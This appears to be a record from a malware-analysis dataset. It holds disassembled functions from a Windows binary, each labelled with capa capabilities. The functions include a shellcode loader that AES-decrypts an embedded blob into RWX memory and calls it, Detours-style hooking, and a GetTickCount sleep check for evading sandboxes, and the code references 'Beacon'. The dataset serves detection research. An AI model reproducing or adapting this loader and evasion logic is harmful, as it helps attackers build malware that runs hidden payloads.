joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400041a6
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140032430
mov dword [rsp + 8], ecx
sub rsp, 0x38
call fcn.140031d60
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140032465
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov ecx, dword [rsp + 0x40]
mov rax, qword [rsp + 0x28]
call qword [0x140131010]
jmp 0x14003246f
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x38
ret

Function at 0x140011760
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
jmp 0x140011760
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
lea rcx, [0x140130029]
call fcn.140001929
mov dword [rbp + 4], 0
jmp 0x1400117ac
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 4
jae 0x140011849
mov dword [rbp + 0x24], 0
jmp 0x1400117c7
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 4
jae 0x140011844
mov eax, dword [rbp + 4]
mov rcx, qword [rbp + 0x148]
lea rax, [rcx + rax*4]
mov ecx, dword [rbp + 0x24]
movzx eax, byte [rax + rcx]
mov byte [rbp + 0x44], al
movzx eax, byte [rbp + 0x44]
cdq
and edx, 0xf
add eax, edx
sar eax, 4
cdqe
imul rax, rax, 0x10
lea rcx, [0x1400e8250]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x118], rax
movzx ecx, byte [rbp + 0x44]
mov eax, ecx
cdq
and edx, 0xf
add eax, edx
and eax, 0xf
sub eax, edx
cdqe
mov ecx, dword [rbp + 4]
mov rdx, qword [rbp + 0x148]
lea rcx, [rdx + rcx*4]
mov edx, dword [rbp + 0x24]
mov r8, qword [rbp + 0x118]
movzx eax, byte [r8 + rax]
mov byte [rcx + rdx], al
jmp 0x1400117bf
jmp 0x1400117a4
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x1400123f0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
jmp 0x1400123f0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
lea rcx, [0x140130029]
call fcn.140001929
mov dword [rbp + 4], 0
jmp 0x14001243c
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 4
jae 0x1400124d9
mov dword [rbp + 0x24], 0
jmp 0x140012457
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 4
jae 0x1400124d4
mov eax, dword [rbp + 4]
mov rcx, qword [rbp + 0x148]
lea rax, [rcx + rax*4]
mov ecx, dword [rbp + 0x24]
movzx eax, byte [rax + rcx]
mov byte [rbp + 0x44], al
movzx eax, byte [rbp + 0x44]
cdq
and edx, 0xf
add eax, edx
sar eax, 4
cdqe
imul rax, rax, 0x10
lea rcx, str.cw
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x118], rax
movzx ecx, byte [rbp + 0x44]
mov eax, ecx
cdq
and edx, 0xf
add eax, edx
and eax, 0xf
sub eax, edx
cdqe
mov ecx, dword [rbp + 4]
mov rdx, qword [rbp + 0x148]
lea rcx, [rdx + rcx*4]
mov edx, dword [rbp + 0x24]
mov r8, qword [rbp + 0x118]
movzx eax, byte [r8 + rax]
mov byte [rcx + rdx], al
jmp 0x14001244f
jmp 0x140012434
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140012520
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
jmp 0x140012520
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x128]
lea rcx, [0x140130029]
call fcn.140001929
mov dword [rbp + 4], 0
jmp 0x14001256c
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 4
jge 0x1400125de
movsxd rax, dword [rbp + 4]
mov rcx, qword [rbp + 0x108]
movzx eax, byte [rcx + rax]
cdq
and edx, 0xf
add eax, edx
sar eax, 4
cdqe
imul rax, rax, 0x10
lea rcx, str.cw
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xd8], rax
movsxd rcx, dword [rbp + 4]
mov rdx, qword [rbp + 0x108]
movzx ecx, byte [rdx + rcx]
mov eax, ecx
cdq
and edx, 0xf
add eax, edx
and eax, 0xf
sub eax, edx
cdqe
movsxd rcx, dword [rbp + 4]
mov rdx, qword [rbp + 0x108]
mov r8, qword [rbp + 0xd8]
movzx eax, byte [r8 + rax]
mov byte [rdx + rcx], al
jmp 0x140012564
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x1400169c0
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x1400169c0
push rbp
push rsi
push rdi
sub rsp, 0x1a0
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x68
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14011f018]
xor rax, rbp
mov qword [rbp + 0x170], rax
lea rcx, [0x140130072]
call fcn.140001929
mov eax, dword [0x140120340]
dec eax
cdqe
imul rax, rax, 0x10
lea rcx, [0x140120310]
lea rdx, [rbp + 8]
mov rdi, rdx
lea rsi, [rcx + rax]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rbp + 0x10]
mov dword [rbp + 0x34], eax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x58], rax
mov eax, dword [rbp + 0x34]
mov qword [rbp + 0x168], rax
mov ecx, dword [rbp + 0x34]
xor edx, edx
mov eax, ecx
mov ecx, 4
div rcx
mov rax, rdx
mov rcx, qword [rbp + 0x168]
sub rcx, rax
mov rax, rcx
mov dword [rbp + 0x74], eax
mov edx, dword [rbp + 0x74]
mov rcx, qword [rbp + 0x58]
call fcn.140001f32
mov eax, dword [rbp + 0x10]
lea r9, [rbp + 0x94]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.Beacon
call fcn.140002ad6
lea rcx, [rbp - 0x20]
lea rdx, [0x1400ec3c0]
call fcn.14000438b
mov rcx, qword [rbp + 0x170]
xor rcx, rbp
call fcn.140001e65
lea rsp, [rbp + 0x180]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140016fa0
Capabilities:
Check for time delay via gettickcount

Disassembly:
jmp 0x140016fa0
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x62
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x140130072]
call fcn.140001929
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 0x7530
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp + 4], eax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.Sleep
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
mov ecx, dword [rbp + 0x64]
call qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 4]
mov ecx, dword [rbp + 0x24]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x64]
sub eax, 0x3e8
cmp dword [rbp + 0x44], eax
jbe 0x140017045
xor eax, eax
jmp 0x14001704a
mov eax, 1
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x140017860
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x700
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x1c0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14011f018]
xor rax, rbp
mov qword [rbp + 0x6c8], rax
lea rcx, [0x140130072]
call fcn.140001929
lea rax, [rbp + 0x10]
lea rcx, [0x1400ecb50]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x381
rep movsb byte [rdi], byte [rsi]
xor edx, edx
lea rcx, [rbp + 0x3b8]
call fcn.1400036ca
mov byte [rbp + 0x3d8], 1
mov byte [rbp + 0x3d9], 2
mov byte [rbp + 0x3da], 3
mov byte [rbp + 0x3db], 9
mov byte [rbp + 0x3dc], 4
mov byte [rbp + 0x3dd], 5
mov byte [rbp + 0x3de], 6
mov byte [rbp + 0x3df], 7
mov byte [rbp + 0x3e0], 8
mov byte [rbp + 0x3e1], 9
mov byte [rbp + 0x3e2], 0xa
mov byte [rbp + 0x3e3], 0xb
mov byte [rbp + 0x3e4], 0xc
mov byte [rbp + 0x3e5], 0xd
mov byte [rbp + 0x3e6], 0xe
mov byte [rbp + 0x3e7], 0xf
mov byte [rbp + 0x408], 1
mov byte [rbp + 0x409], 2
mov byte [rbp + 0x40a], 3
mov byte [rbp + 0x40b], 9
mov byte [rbp + 0x40c], 4
mov byte [rbp + 0x40d], 5
mov byte [rbp + 0x40e], 6
mov byte [rbp + 0x40f], 7
mov byte [rbp + 0x410], 8
mov byte [rbp + 0x411], 9
mov byte [rbp + 0x412], 0xa
mov byte [rbp + 0x413], 0xb
mov byte [rbp + 0x414], 0xc
mov byte [rbp + 0x415], 0xd
mov byte [rbp + 0x416], 0xe
mov byte [rbp + 0x417], 0xf
mov dword [rbp + 0x434], 0x380
call fcn.140002806
test eax, eax
jne 0x140017a65
lea rax, [rbp + 0x3d8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x408]
mov r8d, dword [rbp + 0x434]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x3b8]
call fcn.140003ab7
mov qword [rbp + 0x458], rax
call fcn.140004516
mov eax, dword [rbp + 0x434]
inc eax
cdqe
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x478], rax
mov rdx, qword [rbp + 0x478]
lea rcx, str.shellcode
call fcn.140002ad6
movsxd rax, dword [rbp + 0x434]
mov r8, rax
mov rdx, qword [rbp + 0x458]
mov rcx, qword [rbp + 0x478]
call fcn.140003cb0
mov edx, dword [rbp + 0x434]
mov rcx, qword [rbp + 0x478]
call fcn.140003152
call qword [rbp + 0x478]
xor eax, eax
jmp 0x140017a77
lea rcx, str._sleep
call fcn.140002ad6
jmp 0x140017a75
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400ec8e0]
call fcn.14000438b
mov rax, rdi
mov rcx, qword [rbp + 0x6c8]
xor rcx, rbp
call fcn.140001e65
lea rsp, [rbp + 0x6d0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001ebc0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.14001eea0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x14001ecda
mov rax, qword [0x14011f060]
cmp qword [rsp + 0x20], rax
jb 0x14001ec24
mov rax, qword [0x14011f068]
cmp qword [rsp + 0x20], rax
ja 0x14001ec24
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x14001ebe6
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140002e96
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x14001ec55
jmp 0x14001ecda
cmp dword [rsp + 0x50], 0x10000
jne 0x14001ecbd
cmp qword [rsp + 0x48], 0x10000
jb 0x14001ecbd
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14001ec9b
mov rax, qword [rsp + 0x28]
jmp 0x14001ecdc
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x14001ecab
xor eax, eax
jmp 0x14001ecdc
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x14001ecd5
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.14001eea0
mov qword [rsp + 0x20], rax
jmp 0x14001ebe6
xor eax, eax
add rsp, 0x68
ret

Function at 0x14001ed30
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.14001eef0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x14001ee46
mov rax, qword [0x14011f060]
cmp qword [rsp + 0x20], rax
jb 0x14001ed8b
mov rax, qword [0x14011f068]
cmp qword [rsp + 0x20], rax
ja 0x14001ed8b
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x14001ed4d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140002e96
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
jne 0x14001edbc
jmp 0x14001ee46
cmp dword [rsp + 0x50], 0x10000
jne 0x14001ee24
cmp qword [rsp + 0x48], 0x10000
jb 0x14001ee24
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_VirtualAlloc
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x14001ee02
mov rax, qword [rsp + 0x28]
jmp 0x14001ee48
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x14001ee12
xor eax, eax
jmp 0x14001ee48
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x14001ee41
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14001eef0
mov qword [rsp + 0x20], rax
jmp 0x14001ed4d
xor eax, eax
add rsp, 0x68
ret
Function at 0x14001ef50
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.1400037a6
mov qword [rsp + 0x28], 0
cmp qword [0x140120e08], 0
jne 0x14001ef98
cmp qword [0x140120e00], 0
je 0x14001ef98
mov rax, qword [0x140120e00]
mov qword [0x140120e08], rax
cmp qword [0x140120e08], 0
je 0x14001f03e
mov rax, qword [0x140120e08]
cmp qword [rax + 0x10], 0
je 0x14001f03e
mov rax, qword [0x140120e08]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x14001f03e
mov rax, qword [0x140120e08]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x14001f03e
mov rax, qword [0x140120e08]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x14001f004
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x14001f00b
xor eax, eax
jmp 0x14001f1b5
mov rax, qword [0x140120e08]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call fcn.140002e96
mov rax, qword [rsp + 0x28]
jmp 0x14001f1b5
mov rax, qword [0x140120e00]
mov qword [0x140120e08], rax
jmp 0x14001f060
mov rax, qword [0x140120e08]
mov rax, qword [rax + 8]
mov qword [0x140120e08], rax
cmp qword [0x140120e08], 0
je 0x14001f0ad
cmp qword [0x140120e08], 0
je 0x14001f0ab
mov rax, qword [0x140120e08]
cmp qword [rax + 0x10], 0
je 0x14001f0ab
mov rax, qword [0x140120e08]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x14001f0ab
mov rax, qword [0x140120e08]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x14001f0ab
jmp 0x14001efdc
jmp 0x14001f04e
mov rax, qword [rsp + 0x60]
and rax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.14001f260
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x14001f1b3
mov rax, qword [rsp + 0x48]
mov qword [0x140120e08], rax
mov rax, qword [0x140120e08]
mov dword [rax], 0x52727464
mov rax, qword [0x140120e08]
mov qword [rax + 0x10], 0
mov rax, qword [0x140120e08]
mov rcx, qword [0x140120e00]
mov qword [rax + 8], rcx
mov rax, qword [0x140120e08]
mov qword [0x140120e00], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x140120e08]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x14001f164
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x14001f19e
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x14001f15a
mov rax, qword [0x140120e08]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x14001efdc
xor eax, eax
add rsp, 0x58
ret
Function at 0x1400202b0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
call sub.KERNEL32.dll_VirtualQuery
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400202f7
xor al, al
jmp 0x140020399
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x140020321
xor al, al
jmp 0x140020399
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x88], rax
jb 0x140020391
mov eax, 8
imul rax, rax, 0xc
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov ecx, 8
imul rcx, rcx, 0xc
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rdx + rcx + 0x8c]
add rax, rcx
cmp qword [rsp + 0x88], rax
jae 0x140020391
mov al, 1
jmp 0x140020399
jmp 0x140020397
xor al, al
add rsp, 0x78
ret

Function at 0x1400207a0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140120e00]
mov qword [rsp + 0x28], rax
jmp 0x1400207c0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 8]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400207ef
lea r9, [rsp + 0x20]
mov r8d, 0x40
mov edx, 0x10000
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1400207ed
call sub.KERNEL32.dll_GetLastError
jmp 0x1400207f1
jmp 0x1400207b2
xor eax, eax
add rsp, 0x38
ret
Function at 0x140021320
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x140021320
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov dword [rsp + 0x20], 0
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x140120e18], eax
je 0x14002134d
mov eax, 0x10dd
jmp 0x140021566
cmp dword [0x140120e1c], 0
je 0x140021361
mov eax, dword [0x140120e1c]
jmp 0x140021566
cmp qword [rsp + 0x78], 0
jne 0x140021373
mov eax, 0x57
jmp 0x140021566
cmp qword [rsp + 0x70], 0
jne 0x140021385
mov eax, 6
jmp 0x140021566
mov rax, qword [rsp + 0x70]
cmp qword [rax], 0
jne 0x1400213b7
mov dword [rsp + 0x20], 6
mov eax, dword [rsp + 0x20]
mov dword [0x140120e1c], eax
mov rax, qword [rsp + 0x70]
mov qword [0x140120e20], rax
mov eax, dword [rsp + 0x20]
jmp 0x140021566
mov ecx, 0x30
call fcn.1400023dd
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140021429
mov dword [rsp + 0x20], 8
mov eax, dword [rsp + 0x20]
mov dword [0x140120e1c], eax
cmp qword [rsp + 0x30], 0
je 0x140021414
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov edx, 0x30
mov rcx, qword [rsp + 0x50]
call fcn.14000188e
mov qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x70]
mov qword [0x140120e20], rax
mov eax, dword [rsp + 0x20]
jmp 0x140021566
xor edx, edx
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax]
call fcn.14000400c
mov qword [rsp + 0x38], rax
xor edx, edx
mov rcx, qword [rsp + 0x78]
call fcn.14000400c
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x38]
movzx eax, byte [rax + 0x3e]
mov dword [rsp + 0x24], eax
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x38]
mov rcx, qword [rcx + 0x48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp dword [rsp + 0x24], 0
je 0x140021486
movsxd rax, dword [rsp + 0x24]
cmp rax, 0x1e
jbe 0x1400214a3
mov dword [rsp + 0x20], 9
cmp dword [0x140120e10], 0
je 0x14002149e
jmp 0x1400213ea
jmp 0x1400213e0
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x78]
cmp qword [rax + 0x50], rcx
je 0x1400214d0
mov dword [rsp + 0x20], 9
cmp dword [0x140120e10], 0
je 0x1400214cb
jmp 0x1400213ea
jmp 0x1400213e0
mov dword [rsp + 0x28], 0
movsxd rax, dword [rsp + 0x24]
lea r9, [rsp + 0x28]
mov r8d, 0x40
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x140021507
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
jmp 0x1400213e0
mov rax, qword [rsp + 0x30]
mov dword [rax + 8], 1
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x70]
mov qword [rax + 0x10], rcx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0x20], rcx
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x18], rcx
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x28]
mov dword [rax + 0x28], ecx
mov rax, qword [rsp + 0x30]
mov rcx, qword [0x140120e30]
mov qword [rax], rcx
mov rax, qword [rsp + 0x30]
mov qword [0x140120e30], rax
xor eax, eax
add rsp, 0x68
ret
Function at 0x140021710
Capabilities:
Resume thread

Disassembly:
jmp 0x140021710
sub rsp, 0x68
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x140120e18], eax
je 0x14002172b
mov eax, 0x10dd
jmp 0x140021850
mov rax, qword [0x140120e30]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x1400217d5
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x20]
movzx eax, byte [rax + 0x3e]
lea r9, [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov r8d, dword [rcx + 0x28]
mov edx, eax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x18]
call sub.KERNEL32.dll_VirtualProtect
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x1400217a0
mov rax, qword [rsp + 0x28]
cmp qword [rax + 0x20], 0
je 0x1400217a0
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call fcn.14001f7e0
mov rax, qword [rsp + 0x28]
mov qword [rax + 0x20], 0
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x30
mov rcx, qword [rsp + 0x38]
call fcn.14000188e
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x28], rax
jmp 0x140021737
mov qword [0x140120e30], 0
call fcn.1400204d0
mov rax, qword [0x140120e28]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140021839
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 8]
call sub.KERNEL32.dll_ResumeThread
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x48]
call fcn.14000188e
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
jmp 0x1400217f1
mov qword [0x140120e28], 0
mov dword [0x140120e18], 0
xor eax, eax
add rsp, 0x68
ret
Function at 0x140021f20
Capabilities:
Suspend thread

Disassembly:
jmp 0x140021f20
mov qword [rsp + 8], rcx
sub rsp, 0x48
cmp dword [0x140120e1c], 0
je 0x140021f3d
mov eax, dword [0x140120e1c]
jmp 0x140022003
call sub.KERNEL32.dll_GetCurrentThread
cmp qword [rsp + 0x50], rax
jne 0x140021f50
xor eax, eax
jmp 0x140022003
mov ecx, 0x10
call fcn.1400023dd
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140021fbe
mov dword [rsp + 0x20], 8
cmp qword [rsp + 0x28], 0
je 0x140021fa3
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov edx, 0x10
mov rcx, qword [rsp + 0x38]
call fcn.14000188e
mov qword [rsp + 0x28], 0
mov eax, dword [rsp + 0x20]
mov dword [0x140120e1c], eax
mov qword [0x140120e20], 0
mov eax, dword [rsp + 0x20]
jmp 0x140022003
mov rcx, qword [rsp + 0x50]
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x140021fd8
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x20], eax
jmp 0x140021f79
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x28]
mov rcx, qword [0x140120e28]
mov qword [rax], rcx
mov rax, qword [rsp + 0x28]
mov qword [0x140120e28], rax
xor eax, eax
add rsp, 0x48
ret